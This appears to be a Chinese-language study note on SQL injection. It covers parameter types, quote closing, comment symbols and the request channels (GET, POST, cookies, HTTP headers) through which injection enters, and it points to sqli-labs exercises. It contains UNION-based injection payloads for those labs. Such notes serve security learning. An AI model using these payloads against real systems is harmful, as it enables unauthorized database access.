sql注入请求方法

参数类型

1、数字类型
select * from user where id=1
2、字符类型
select * from user where name=’yucedu’
过滤’(单引号)和”(双引号)
3、搜索类型
select * from user where name like ‘%yucedu%’ 只要有yucedu都会被搜索出来
过滤%(百分号)和’(单引号)
4、JSON类型
★post提交方式中的一种数据交互格式
JSON格式:
json={“name”:”yucedu”
“age”:”18”}

必须将语句的符号闭合,使注入语句生效
注释符号:–+,# 有时候–+用不了就用#

$id=$_GET[‘id’];
?id=1 and 1=2 union select 1,2,3–+
$sql=”SELECT * FROM users WHERE id=’1 and 1=2 union select 1,2,3–+’ LIMIT 0,1”;
?id=1’ and 1=2 union select 1,2,3–+
$sql=”SELECT * FROM users WHERE id=’1’ and 1=2 union select 1,2,3–+’ LIMIT 0,1”;

SQL语句干扰符号

​ ‘(单引号),”(双引号),%(百分号),)(小括号),}(大括号) 等,具体需看写法

请求方法

GET、POST、COOKIE、REQUEST、HTTP头部等

GET请求传输的数据量限制在2KB左右
GET只要在url上,就能接收到请求
REQUEST请求不管是GET和POST都可以
HTTP报文头部各个参数都能注入,比如User-Agent、Cookie

演示实验

参数字符型注入测试 sqlilabs Less-1,2,3,4
POST数据提交注入测试 sqliabs Less-11
COOKIE数据提交注入测试 sqlilabs Less-20
HTTP头部参数数据注入测试 sqlilabs Less-18
参数JSON数据注入测试 https://tianchi.aliyun.com/competition/entrance/531796/information
$sql=”select * from users where username=’{&username}’”;
json={“username”:”admin’ and 1=2 union select 1,2,3#”} ‘ (单引号)闭合的是SQL语句中的 ‘